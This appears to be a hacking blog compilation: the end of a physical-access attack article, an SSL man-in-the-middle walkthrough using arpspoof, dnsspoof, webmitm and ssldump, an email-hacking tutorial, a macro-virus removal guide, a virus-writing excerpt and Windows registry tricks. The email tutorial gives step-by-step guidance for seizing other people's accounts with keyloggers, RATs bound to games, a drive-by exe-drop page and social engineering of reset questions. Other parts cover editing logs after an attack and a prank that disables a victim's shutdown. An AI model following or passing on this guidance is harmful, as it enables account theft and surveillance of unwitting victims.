backdoor is probably the most difficult challenge for the attacker,
because it involves leaving many clues behind. If a user detects
that a backdoor exists, then it will be quickly closed. Popular
techniques to ensure successful backdoors include piggy-backing on
existing network applications (to use an already open port),
masquerading the process as a system service and hiding the execution
of the process from utilities such as the task manager, and
installing the backdoor to execute on startup. These topics are
highly operating system dependent and go beyond the scope of this
article. Finally, many operating systems keep logs of when users
access the system and run programs, so these logs should be located
and modified from LiveCD at the conclusion of an attack.
-------------------------------------
How to Prevent These Attacks
-------------------------------------
There are a number of simple steps a user can take to mitigate the
risk of attacks via physical access. Obviously, the first and most
important of these is to not allow physical access to a system by an
attacker. The cardinal rule that physical access equals total access
exists for a reason.
However, there are additional security measures that can be taken.
Harddrive encryption is an emergent technology that prevents the
mounting and reading of material without proper authentication.
There are advanced methods of circumventing disk encryption, but this
preventative measure will prevent almost all attacks of this kind.
Also, it is good practice to enable a BIOS or firmware password on
your system. This will prevent booting to a LiveCD or running other
malicious software on a system. Password strength is also very
important: strong passwords contain lowercase letters, uppercase
letters, numbers, and symbols, and are at least 8 characters long.
Having strong passwords seriously mitigates the risk of having the
password cracked via wordlist or rainbow tables, and makes the use of
brute-force infeasible. Finally, in Windows, make sure to disable
the LM hashing protocol if possible, in favor of the more secure NTLM
hash.
--------------
Conclusion
--------------
Thank you for taking the time to read this article. I hope it will
be useful to someone.

Read more »

Hacking Online Banking and Credit Card Transactions – And How to Prevent It

Here is process for hacking online banking and credit cards transactions and also a process to prevent from them .
The Scenario You go to a coffee shop for a cup of coffee and to utilize the shop’s Wi-Fi HotSpot to surf the web. You connect to the hotspot network and decide to perform some online banking or to purchase something online. By the way, this could happen to you at home, as well. As an end-user, you feel quite secure, as you see the lock in the bottom corner of your Internet browser, symbolizing that the online banking or online credit card transaction is safe from prying eyes. Your data, including username, password, credit card info, etc. will be encrypted with 128-bit encryption. So it's secure, right?

It is not uncommon to perform banking and to purchase products online with your credit card. It is also a common thought that doing so is secure, as this is done via SSL. For the most part, this is true and the sessions are secure. Discover Card, for example, posts the following statement on their website:


Figure 1

The problem is that it is not “virtually impossible” for someone else to see your data, such as login information or credit card numbers. It can actually be relatively easy, as you’ll see, if you as an end-user are not knowledgeable about how you can be exploited and know the signs that this is occurring.


Figure 2 (Indicates a Secure SSL Session)

Continuing with the scenario, what you didn’t realize is that a hacker has intercepted your Online Banking login credentials and credit card information and can now log into your Online Banking Website or purchase items with your credit card. How is this possible, since SSL was used and is hard to break? The answer is that you made a fatal mistake that subjected you to an SSL Man-in-the-Middle (MITM) attack.
The Attack The fatal flaw that enabled the sensitive information to be stolen is possible when an end-user is not properly educated on an easy to do and well-known SSL exploit – SSL MITM.
Here’s how it’s done:
The hacker goes to coffee shop and connects to the same Wi-Fi network you are connected to. He runs a series of utilities to redirect other user’s data through his machine. He runs a number of other utilities to sniff the data, act as an SSL Certificate Server and to be the Man-the-Middle. The following diagram shows a very simplified graphic of how your SSL Banking session should work under normal conditions, then how it would work during an attack:

Figure 3

Figure 4
An important concept to grasp here is that a certificate is used to establish the secure SSL connection. This is a good thing, if you have a good certificate and are connecting directly to the website to which you intended to use. Then all your data is encrypted from your browser to the SSL website where the bank’s website will use the information from the certificate it gave you to decrypt your data/credentials. If that is truly the case, then it is pretty darn hard for a hacker to decrypt the data/credentials being transmitted, even if he is able to sniff your data.
This is a bad thing if you have a “Fake” certificate being sent from the hacker, and you are actually connecting to his machine, not directly to the bank’s website. In this case, your credentials are being transmitted between your browser and the hacker’s machine. The hacker is able to grab that traffic, and, because he gave you the certificate to encrypt the data/credentials, he can use that same certificate to decrypt your data/credentials.
Here are the exact steps a hacker could use to perform this attack:
The first thing he would do is turn on Fragrouter, so that his machine can perform IP forwarding

Figure 5
After that, he’ll want to direct your Wi-Fi network traffic to his machine instead of your data traffic going directly to the Internet. This enables him to be the “Man-in-the-Middle” between your machine and the Internet. Using Arpspoof, a real easy way to do this, he determines your IP address is 192.168.1.15 and the Default Gateway of the Wi-Fi network is 192.168.1.1:

Figure 6
The next step is to enable DNS Spoofing via DNSSpoof:

Figure 7
Since he will be replacing the Bank's or Online Store’s valid certificate with his own fake one, he will need to turn on the utility to enable his system to be the Man-in-the-Middle for web sessions and to handle certificates. This is done via webmitm:

Figure 8
At this point, he is setup and ready to go, he now needs to begin actively sniffing your data passing through his machine including your login information and credit card info. He opts to do this with Ethereal, then saves his capture:

Figure 9
He now has the data, but it is still encrypted with 128-bit SSL. No problem, since he has the key. What he simply needs to do now is decrypt the data using the certificate that he gave you. He does this with SSL Dump:

Figure 10
The data is now decrypted and he runs a Cat command to view the now decrypted SSL information. Note that the username is “Bankusername” and the password is “BankPassword”. Conveniently, this dump also shows that the Banking site as National City. FYI, the better, more secure banking and online store websites will have you first connect to another, preceeding page via SSL, prior to connecting to the page where you enter the sensitive information such as bank login credentials or credit card numbers. The reason for this is to stop the MITM-type attack. How this helps is that if you were to access this preceeding page first with a "fake" certificate and then proceeded to the next page where you were to enter the sensitve information, that page where you would enter the sensitive information would not display. That is because the page gathering the sensitive information would be expecting a valid certificate, which it would not receive because of the Man-in-the-Middle. While some online banks and stores do implement this extra step/page for security reasons, the real flaw in this attack is the uneducated end-user, as you'll soon see:

Figure 11
With this information, he can now log into your Online Banking Account with the same access and privileges as you. He could transfer money, view account data, etc.
Below is an example of a sniffed SSL credit card purchase/transaction. You can see that Elvis Presley was attempting to make a purchase with his credit card 5440123412341234 with an expiration date of 5/06 and the billing address of Graceland in Memphis, TN (He is alive!). If this was your information, the hacker could easily make online purchases with your card.

Figure 12
Also Real Bad News for SSL VPN Admins This type of attack could be particularly bad for corporations. The reason for this is that Corporate SSL VPN solutions are also vulnerable to this type of attack. Corporate SSL VPN solutions will often authenticate against Active Directory, the NT Domain, LDAP or some other centralized credentials data store. Sniffing the SSL VPN login then gives an attacker valid credentials to the corporate network and other systems.
What an End-User Needs To Know There’s a big step and end-user can take to prevent this from taking place. When the MITM Hacker uses the “bad” certificate instead of the “good”, valid certificate, the end-user is actually alerted to this. The problem is that most end-users don’t understand what this means and will unknowingly agree to use the fake certificate. Below is an example of the Security Alert an end-user would receive. Most uneducated end-users would simply click “Yes”… and this is the fatal flaw:

Figure 13
By clicking “Yes”, they have set themselves up to be hacked. By clicking the “View Certificate” button, the end-user would easily see that there is a problem. Below are examples of the various certificate views/tabs that show a good certificate compared to the bad certificate:

Figure 14
(Good Certificate) (Bad Certificate)

Figure 15
(Good Certificate) (Bad Certificate)

Figure 16
(Good Certificate) (Bad Certificate)
How an End-User Can Prevent This
Again, the simple act of viewing the certificate and clicking “No” would have prevented this from happening.
Education is the key for an end-user. If you see this message, take the time to view the certificate. As you can see from the examples above, you can tell when something doesn’t look right. If you can’t tell, err on the side of caution and call your Online Bank or the Online store.
Take the time to read and understand all security messages you receive. Don’t just randomly click yes out of convenience.
How a Corporation Can Prevent This
Educate the end-user on the Security Alert and how to react to it.
Utilize One Time Passwords, such as RSA Tokens, to prevent the reuse of sniffed credentials.
When using SSL VPN, utilize mature products with advanced features, such as Juniper’s Secure Application Manager or Network Connect functionality.

Read more »

Is Mail Hacking possible?

This topic is favourite of all newbies
EMAIL PASSWORD HACKING
First of all it is very difficult to crack any mail server
like yahoo,google,msn etc.
ANd even if you crack into their server it is not possible to decode the password
so just forget about this method
We will try something different

If u have physical access(direct access) to someone's PC and u want to hack his account password then it is the best thing for us.U don't need anything better than that,all u hv to do is to download a good keylogger to ur pc and copy it in ur pendrive or cd
and install the keylogger in the victim's pc.That's it.

KEYLOGGER:-This are the program which records the every keystrokes on keyboard which means it will record all passwords also.The data will be stored on the victims computer only(they r stored in one file which is usually located in system folder) but as u hv physical access u can access this file easily
some keyloggers are hidden so the victim will not hv ne clue abt it and ur work will be done easily.click here to see how it works

Most of u will say that u don't hv direct access to the victim's pc.It is little difficult to get password if u don't hv direct access to victim's pc.
In this kinda situations u can use trojan's for this.There r many trojans available on internet.U can find many using google.If u want u can scrap in my orkut profile

http://www.orkut.co.in/Main#Profile.aspx?uid=17508292249981249367

Well of course most of you out there will say that you don't have physical access to your target's computer. That's fine, there still are ways you can gain access into the desired email account without having to have any sort of physical access. For this we are going to go back onto the RAT topic, to explain methods that can be used to fool the user into running the server portion of the RAT (again, a RAT is a trojan) of your choice. Well first we will discuss the basic "send file" technique. This is simply convincing the user of the account you want to access to execute the server portion of your RAT.

To make this convincing, what you will want to do is bind the server.exe to another *.exe file in order to not raise any doubt when the program appears to do nothing when it is executed. For this you can use the tool like any exe file to bind it into another program (make it something like a small game)...

On a side note, make sure the RAT of your choice is a good choice. The program mentioned in the previous section would not be good in this case, since you do need physical access in order to set it up. You will have to find the program of your choice yourself (meaning please don't ask around for any, people consider that annoying behavior).

If you don't like any of those, I'm afraid you are going to have to go to www.google.com, and look for some yourself. Search for something like "optix pro download", or any specific trojan. If you look long enough, among all the virus notification/help pages, you should come across a site with a list of RATs for you to use (you are going to eventually have to learn how to navigate a search engine, you can't depend on handouts forever). Now back to the topic at hand, you will want to send this file to the specified user through an instant messaging service.

The reason why is that you need the ip address of the user in order to connect with the newly established server. Yahoo! Messenger, AOL Instant Messenger, it really doesn't matter. What you will do is send the file to the user. Now while this transfer is going on you will go to Start, then Run, type in "command", and press Enter. Once the msdos prompt is open, type in "netstat -n", and again, press enter. You will see a list of ip addresses from left to right. The address you will be looking for will be on the right, and the port it's established on will depend on the instant messaging service you are using. With MSN Messenger it will be remote port 6891, with AOL Instant Messenger it will be remote port 2153, with ICQ it will be remote port 1102, 2431, 2439, 2440, or 2476, and with Yahoo! Messenger it will be remote port 1614.

So once you spot the established connection with the file transfer remote port, then you will take note of the ip address associated with that port. So once the transfer is complete, and the user has executed the server portion of the RAT, then you can use the client portion to sniff out his/her password the next time he/she logs on to his/her account.

Don't think you can get him/her to accept a file from you? Can you at least get him/her to access a certain web page? Then maybe this next technique is something you should look into.

Currently Internet Explorer is quite vulnerable to an exploit that allows you to drop and execute .exe files via malicious scripting within an html document. For this what you will want to do is set up a web page, make sure to actually put something within this page so that the visitor doesn't get too entirely suspicious, and then imbed the below script into your web page so that the server portion of the RAT of your choice is dropped and executed onto the victim's computer...

While you are at it, you will also want to set up an ip logger on the web page so that you can grab the ip address of the user so that you can connect to the newly established server. Here is the source for a php ip logger you can use on your page...

http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=539&lngWId=8

Just insert this source into your page along with the exedrop script, and you are set. Just convince the user to go to this page, and wait till the next time they type in their email password. However, what do you do if you can not contact this user in any way to do any of the above tricks. Well, then you definately have your work cut out for you. It doesn't make the task impossible, but it makes it pretty damn close to it. For this we will want to try info cracking. Info cracking is the process of trying to gather enough information on the user to go through the "Forgot my Password" page, to gain access into the email account.

If you happen to know the user personally, then it helps out a lot. You would then be able to get through the birthday/ zipcode questions with ease, and with a little mental backtracking, or social engineering (talking) out the information from the user be able to get past the secret question. However, what do you do if you do not have this luxury? Well in this case you will have to do a little detective work to fish out the information you need.

First off, if a profile is available for the user, look at the profile to see if you can get any information from the profile. Many times users will put information into their profile, that may help you with cracking the account through the "Forgot my Password" page (where they live, their age, their birthday if you are lucky). If no information is provided then what you will want to do is get on an account that the user does not know about, and try to strike conversation with the user. Just talk to him/her for a little while, and inconspicuously get this information out of the user (inconspicuously as in don't act like you are trying to put together a census, just make casual talk with the user and every once in a while ask questions like "When is your birthday?" and "Where do you live?", and then respond with simple, casual answers).


Once you have enough information to get past the first page, fill those parts out, and go to the next page to find out what the secret question is. Once you have the secret question, you will want to keep making casual conversation with the user and SLOWLY build up to asking a question that would help you answer the secret question. Don't try to get all the information you need in one night or you will look suspicious. Patience is a virtue when info cracking. Just slowly build up to this question. For example, if the secret question is something like "What is my dog's name?", then you would keep talking with the user, and eventually ask him/her "So how many dogs do you have? ...Oh, that's nice. What are their names?". The user will most likely not even remember anything about his/her secret question, so will most likely not find such a question suspicious at all (as long as you keep it inconspicuous). So there you go, with a few choice words and a little given time, you have just gotten the user to tell you everything you need to know to break into his/her email account. The problem with this method is that once you go through the "Forgot my Password" page, the password will be changed, and the new password will be given to you. This will of course deny the original user access to his/her own account. But the point of this task is to get YOU access, so it really shouldn't matter. Anyways, that concludes it for this tutorial..

Read more »

How to get Rid of MS Office Macro Viruses

A. Are you running an antivirus program? If not, get one. Now! Get it on a CD, boot from the CD and run a scan from the CD, then do an update over the Internet and scan again. This might find the macro virus and remove it. B. Make certain your document isn't password protected. This would keep your antivirus program from scanning it. C. If this doesn't work - well, you could always get a competitor's product, for example Open Office at openoffice.org, it's free, but not quite as full-featured. D. Alternatively, here is the technique the Norton antivirus people recommend: 1. Rename the Normal.dot template file. The Normal.dot file contains formatting and toolbar settings. Renaming it will cause these settings to be lost when Word is restarted and the file is recreated. You want to lose this info!
a.Click Start, point to Find, and then click Files or Folders. The Find dialog box appears.
b.Type normal.dot and then click Find Now.
c. Right-click the file name, and then click Rename.
d. Type normal.old and then press Enter.
e.Close the Find dialog box. 2. Open an infected document and remove all macros.
a. Start Word.
b. Click the File menu, and then click Open.
c. Browse to the folder that contains the infected file, and select it.
d. Press and hold the Shift key, then click Open. Continue to hold down the Shift key until the file opens. Holding down the Shift key while opening a file prevents any macros from running.
e. Choose the Tools menu, point to Macro, and then click Macros. The Macros dialog box appears.
f. Select all active templates and documents in the Macros in the drop-down list box.
g. Select the viral macro, and then click Delete. Click Yes to confirm.
h. Repeat Step 7 previous step for all macros.
i. Click Close. 3. Copy and paste the text to a new document.
a. Click the Edit menu and click Select All.
b. Press Shift+Left Arrow to deselect the last paragraph marked in the document.
c. Click the Edit menu, and then click Copy.
d. Click the File menu, and then click New. The New dialog box appears.
e. Select the template you want, and then click OK.
f. Click the Edit menu, and then click Paste.
g. Open the Macros dialog box and ensure that the viral macros have not replicated, (Steps 5 through 8 in the previous procedure "Open an infected document and remove all macros.")
h. Save the document.
i. Repeat the procedures in "Open an infected document and remove all macros" and "Copy and paste the text to a new document" for any documents that you think may contain a macro virus.

Read more »

The Simplest COM Infector

When learning about viruses it is best to start out with the simplest examples and understand them well. Such viruses are not only easy to understand . . . they also present the least risk of escape, so you can experiment with them without the fear of roasting your company’s network. Given this basic foundation, we can build fancier varieties which employ advanced techniques and replicate much better.

In the world of DOS viruses, the simplest and least threatening is the non-resident COM file infector. This type of virus infects only COM program files, which are just straight 80x86 machine code. They contain no data structures for the operating system to interpret (unlike EXE files)— just code. The very simplicity of a COM file makes it easy to infect with a virus. Likewise, non-resident viruses leave no code in memory which goes on working after the host program (which the virus is attached to) is done working. That means as long as you’re sitting at the DOS prompt, you’re
safe. The virus isn’t off somewhere doing something behind your back. Now be aware that when I say a non-resident COM infector is simple and non-threatening, I mean that in terms of its ability to reproduce and escape. There are some very nasty non-resident COM infectors floating around in the underground. They are nasty because they contain nasty logic bombs, though, and not because they take the art of virus programming to new highs. There are three major types of COM infecting viruses. They are called:
1. Overwriting viruses
2. Companion viruses
3. Parasitic viruses
If you can understand these three simple types of viruses, you will already understand the majority of viruses being written today. Most of them are one of these three types and nothing more. Before we dig into how the simplest of these viruses, the overwriting virus works, let’s take an in-depth look at how a COM program works. It is essential to understand what it is you’re attacking if you’re going to do it properly.

COM Program Operation

When one enters the name of a program at the DOS prompt, DOS begins looking for files with that name and an extent of “COM”. If it finds one it will load the file into memory and execute it. Otherwise DOS will look for files with the same name and an extent of “EXE” to load and execute. If no EXE file is found, the operating system will finally look for a file with the extent “BAT” to execute. Failing all three of these possibilities, DOS will display the error message “Bad command or file name.”

EXE and COM files are directly executable by the Central Processing Unit. Of these two types of program files, COM files are much simpler. They have a predefined segment format which is built into the structure of DOS, while EXE files are designed to handle a segment format defined by the programmer, typical of very large and complicated programs. The COM file is a direct binary image of what should be put into memory and executed by
the CPU, but an EXE file is not.

To execute a COM file, DOS does some preparatory work, loads the program into memory, and then gives the program control. Up until the time when the program receives control, DOS is the 22 The Giant Black Book of Computer Viruses program executing, and it is manipulating the program as if it were data. To understand this whole process, let’s take a look at the operation of a simple non-viral COM program which is the assembly language equivalent of hello.c—that infamous little program used in every introductory c programming course. Here it is:
.model tiny
.code
ORG 100H
HOST:
mov ah,9 ;prepare to display a message
mov dx,OFFSET HI ;address of message
int 21H ;display it with DOS
mov ax,4C00H ;prepare to terminate program
int 21H ;and terminate with DOS
HI DB ’You have just released a virus! Have a nice day!$’
END HOST
Call it HOST.ASM. It will assemble to HOST.COM. This program will serve us well in this chapter, because we’ll use it as a host for virus infections.

Now, when you type “HOST” at the DOS prompt, the first thing DOS does is reserve memory for this program to live in. To understand how a COM program uses memory, it is useful to remember that COM programs are really a relic of the days of CP/M—an old disk operating system used by earlier microcomputers that used 8080 or Z80 processors. In those days, the processor could only address 64 kilobytes of memory and that was it. When MS-DOS and PC-DOS came along, CP/M was very popular. There were thousands of programs—many shareware—for CP/M and practically none for any other processor or operating system (excepting the Apple II). So both the 8088 and MS-DOS were designed to make porting the old CP/M programs as easy as possible. The 8088-based COM program is the end result.


In the 8088 microprocessor, all registers are 16 bit registers. A 16 bit register will only allow one to address 64 kilobytes of memory, just like the 8080 and Z80. If you want to use more memory, you need more bits to address it. The 8088 can address up to one megabyte of memory using a process known as segmentation. It uses two registers to create a physical memory address that is 20 bits long instead of just 16. Such a register pair consists The Simplest COM Infector 23 of a segment register, which contains the most significant bits of the address, and an offset register, which contains the least significant bits. The segment register points to a 16 byte block of memory, and the offset register tells how many bytes to add to the start of the 16 byte block to locate the desired byte in memory. For example, if the ds register is set to 1275 Hex and the bx register is set to 457 Hex, then the physical 20 bit address of the byte ds:[bx] is


1275H x 10H = 12750H
+ 457H
—————
12BA7H

The 8088 has four segment registers, cs, ds, ss and es, which stand for Code Segment, Data Segment, Stack Segment, and Extra Segment, respectively. They each serve different purposes. The cs register specifies the 64K segment where the actual program instructions which are executed by the CPU are located. The Data Segment is used to specify a segment to put the program’s data in, and the Stack Segment specifies where the program’s stack is
24 The Giant Black Book of Computer Viruses located. The es register is available as an extra segment register for
the programmer’s use. It might be used to point to the video memory segment, for writing data directly to video, or to the segment 40H where the BIOS stores crucial low-level configuration information about the computer.

Read more »

Virus Writing

Computer Virus Basics
What is a computer virus? Simply put, it is a program that reproduces. When it is executed, it simply makes one or more copies of itself. Those copies may later be executed to create still more copies.

Typically, a computer virus attaches itself to another program, or rides on the back of another program, in order to facilitate reproduction. This approach sets computer viruses apart from other self-reproducing software because it enables the virus to reproduce without the operator’s consent. Compare this with a simple program called “1.COM”. When run, it might create “2.COM” and “3.COM”, etc., which would be exact copies of itself. Now, the average computer user might run such a program once or twice at your request, but then he’ll probably delete it and that will be the end of it. It won’t get very far. Not so, the computer virus, because it attaches itself to otherwise useful programs. The computer user will execute these programs in the normal course of using the computer, and the virus will get executed with them. In this way, viruses have gained viability on a world-wide scale.

The Structure of a Virus

Every viable computer virus must have at least two basic parts, or subroutines, if it is even to be called a virus. Firstly, it must contain a search routine, which locates new files or new disks which are worthwhile targets for infection. This routine will determine how well the virus reproduces, e.g., whether it does so quickly or slowly, whether it can infect multiple disks or a single disk, and whether it can infect every portion of a disk or just certain specific areas. As with all programs, there is a size versus functionality trade off here. The more sophisticated the search routine is, the more
space it will take up. So although an efficient search routine may help a virus to spread faster, it will make the virus bigger.

Secondly, every computer virus must contain a routine to copy itself into the program which the search routine locates. The copy routine will only be sophisticated enough to do its job without getting caught. The smaller it is, the better. How small it can be will depend on how complex a virus it must copy, and what the target is. For example, a virus which infects only COM files can get by with a much smaller copy routine than a virus which infects EXE files. This is because the EXE file structure is much more complex, so the virus must do more to attach itself to an EXE file.

In addition to search and copy mechanisms, computer viruses often contain anti-detection routines, or anti-anti-virus routines. Computer Virus Basics 15 These range in complexity from something that merely keeps the date on a file the same when a virus infects it, to complex routines that camouflage viruses and trick specific anti-virus programs into
believing they’re not there, or routines which turn the anti-virus they attack into a logic bomb itself.

Read more »

Hacking Test

This For all those who have started hacking or just have a craze for hacking . here is a cool way of testing are u eligible to enter the field of hacking.try this test . and be honest please , don't ditch yourself. u can find its solution on the net but still please don't try to find it. just check yourself how fast Ur mind can work

http://en.hacktest.net/

now after logging to this link tell me ur time needed and please don't ask for help or hint.

Read more »

Folder Options missing

Many of us sometimes find the folder options missing in windows explorer.

Here's the solution
Open Run and then type "gpedit.msc".
Now goto
User Configuration > Administrative templates > Windows Component > Windows Explorer.

Click on Windows Explorer you will find the 3rd option on the right side of screen
"Removes the Folder Option menu item from the Tools menu"

Just check it,

if it is not configured then change it to enable by double clicking on it and after applying again set it to not configured.


I hope that you will find the option after restarting windows.

Read more »

Untold Windows Tips and Secrets

To fully reap this Manual you need to have a basic understanding of the Windows Registry,
as almost all the Tricks and Tips involve this file.

WARNING: If you use Registry Editor incorrectly, you may cause serious problems that may require you to reinstall your operating system. Microsoft and 5 Star Support cannot guarantee that you can solve problems that result from using the Registry Editor incorrectly. Use Registry Editor at your own risk.

Important Note: Before you read on, you need to keep one thing in
mind. Whenever you make changes to the Windows Registry you
need to Refresh it before the changes take place. Simply press F5 to
refresh the registry and enable the changes. If this does not work Restart your system.

Exiting Windows the Cool and Quick Way

Normally it takes a hell lot of time just Shutting down Windows, you have to move your mouse to the Start Button, click on it, move it
again over Shut Down, click, then move it over the necessary option
and click, then move the cursor over the OK button and once again
(you guessed it) click.

This whole process can be shortened by creating shortcuts on the Desktop
which will shut down Windows at the click of a button.
Start by creating a new shortcut( right click
and select New> Shortcut).
Then in the command line box, type (without the quotes.)
'C:\windows\rundll.exe user.exe,exitwindowsexec'
To create a Shortcut to Restarting Windows, type the
following in the Command Line box:
'c:\windows\rundll.exe user.exe,exitwindows'
This Shortcut on clicking will shut down Windows immediately
without any Warning.


Ban Shutdowns : A trick to Play on Lamers

This is a neat trick you can play on that lamer that has a huge ego,
in this section I teach you, how to disable the Shut Down option in
the Shut Down Dialog Box.

This trick involves editing the registry,
so please make backups. Launch regedit.exe and go to :
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\Policies\Explorer
In the right pane look for the NoClose Key. If it is not already there
then create it by right clicking in the right pane and selecting New >
String Value.(Name it NoCloseKey ) Now once you see the
NoCloseKey in the right pane, right click on it and select Modify.
Then Type 1 in the Value Data Box.

Doing the above on a Win98 system disables the Shut Down option
in the Shut Down Dialog Box. But on a Win95 machine if the value
of NoCloseKey is set to 1 then click on the Start > Shut Down
button displays the following error message:

This operation has been cancelled due to restrictions in effect on
this computer. Please contact your system administrator.
You can enable the shut down option by changing the value of
NoCloseKey to 0 or simply deleting the particular entry i.e. deleting
NoCloseKey.

Instead of performing the above difficult to remember process,
simply save the following with an extension of .reg and add it's
contents to the registry by double clicking on it.
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersio
n\Policies\Explorer] "NoClose"="1"


Take Over the Screen Saver


To activate and deactivate the screen saver whenever you want, goto the following registry key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion
\ScreenSavers
Now add a new string value and name it Mouse Corners. Edit this
new value to -Y-N. Press F5 to refresh the registry.
Voila! Now you can activate your screensaver by simply placing the mouse
Cursor at the top right corner of the screen and if you take the mouse to
the bottom left corner of the screen, the screensaver will
deactivate.


Deleting System Options from the Start menu

You can actually remove the Find and Run options from the start
menu by performing a simple registry hack. Again like always
Launch the registry editor and scroll down to the below key:
HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Policies\Explorer

Right-click on the right pane and select New, DWORD Value. Name
it NoFind.(To remove the RUN option name it NoRun). Double-click
the newly create DWORD to edit it's value and enter 1 as its value.
This will disable the FIND option of the Start Menu and will also
disable the default Shortcut key(F3 for Find.)
To restore the Run or find command modify the value of the
DWORD to 0 or simply Delete the DWORD value.
Fed Up of the boring Old Yellow Folder Icons?[Drive Icons Included]

NOTE: This trick hasn't been tried on Win98.
You can easily change the boring yellow folder icons to your own
personalized icons. Simply create a text file and copy the following
lines into it:
[.ShellClassInfo]
ICONFILE=Drive:\Path\Icon_name.extension

Save this text file by the name, desktop.ini in the folder, whose icon
you want to change. Now to prevent this file from getting deleted
change it's attributes to Hidden and Read Only by using the ATTRIB
command.
To change the icon of a drive, create a text file containing the
following lines:
[Autorun]
ICON=Drive:\Path\Icon_name.extension
Save this file in the root of the drive whose icon you want to change
and name it autorun.inf For Example, if you want to change the icon
of a floppy, SAVE THE icon in a:\icon_name.ico One can also create
a kewl icon for the Hard Disk and create a text file [autorun.inf] and store it in "c:\".


Brand XP

My new HP came loaded with an OEM version of XP on it. I noticed that they had their own icon under Run in the start menu. If you would like to brand your PC with your own clickable icon that will take you wherever you would like to go (eg: website, program), just follow the simple instructions below:

Note: This involves a registry tweak, please take all precautions by backing up your registry prior to making any changes to it.

1. Start up Notepad and insert the following information via copy and paste:

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}]
@="YOUR TITLE HERE"

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\DefaultIcon]
@="YOUR ICON HERE"

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\InProcServer32]
@=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,\
00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,00,68,00,\
64,00,6f,00,63,00,76,00,77,00,2e,00,64,00,6c,00,6c,00,00,00
"ThreadingModel"="Apartment"

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\Instance]
"CLSID"="{3f454f0e-42ae-4d7c-8ea3-328250d6e272}"

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\Instance\InitPropertyBag]
"CLSID"="{13709620-C279-11CE-A49E-444553540000}"
"method"="ShellExecute"
"Command"="YOUR TITLE HERE"
"Param1"="YOUR FUNCTION HERE"

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\shellex]

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\shellex\ContextMenuHandlers]

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\shellex\ContextMenuHandlers\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}]
@=""

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\shellex\MayChangeDefaultMenu]
@=""

[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\ShellFolder]
"Attributes"=dword:00000000

2. Edit where it says YOUR ICON HERE to a path to an icon (ex. c:\\5staricon.ico), it must be 24x24 pixels and in *.ico format. Use double back slash for path names.

3. Edit both places where it says YOUR TITLE HERE to what you want it to say in the Start Menu (eg: 5 Star Support).

4. Edit where it says YOUR FUNCTION here to what you want it to do when you click it, it can be anything... your website, a local HTML document, a program, a Windows function, whatever your imagination can provide (eg: http://www.5starsupport.com).

5. Save this file as brand.reg, double-click it to enter in your information into the registry then refresh Explorer (log off/on) to see it in the Start Menu! This will work in both Home and Professional editions.


Lock PC by just double clicking the mouse


You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll,LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.

Read more »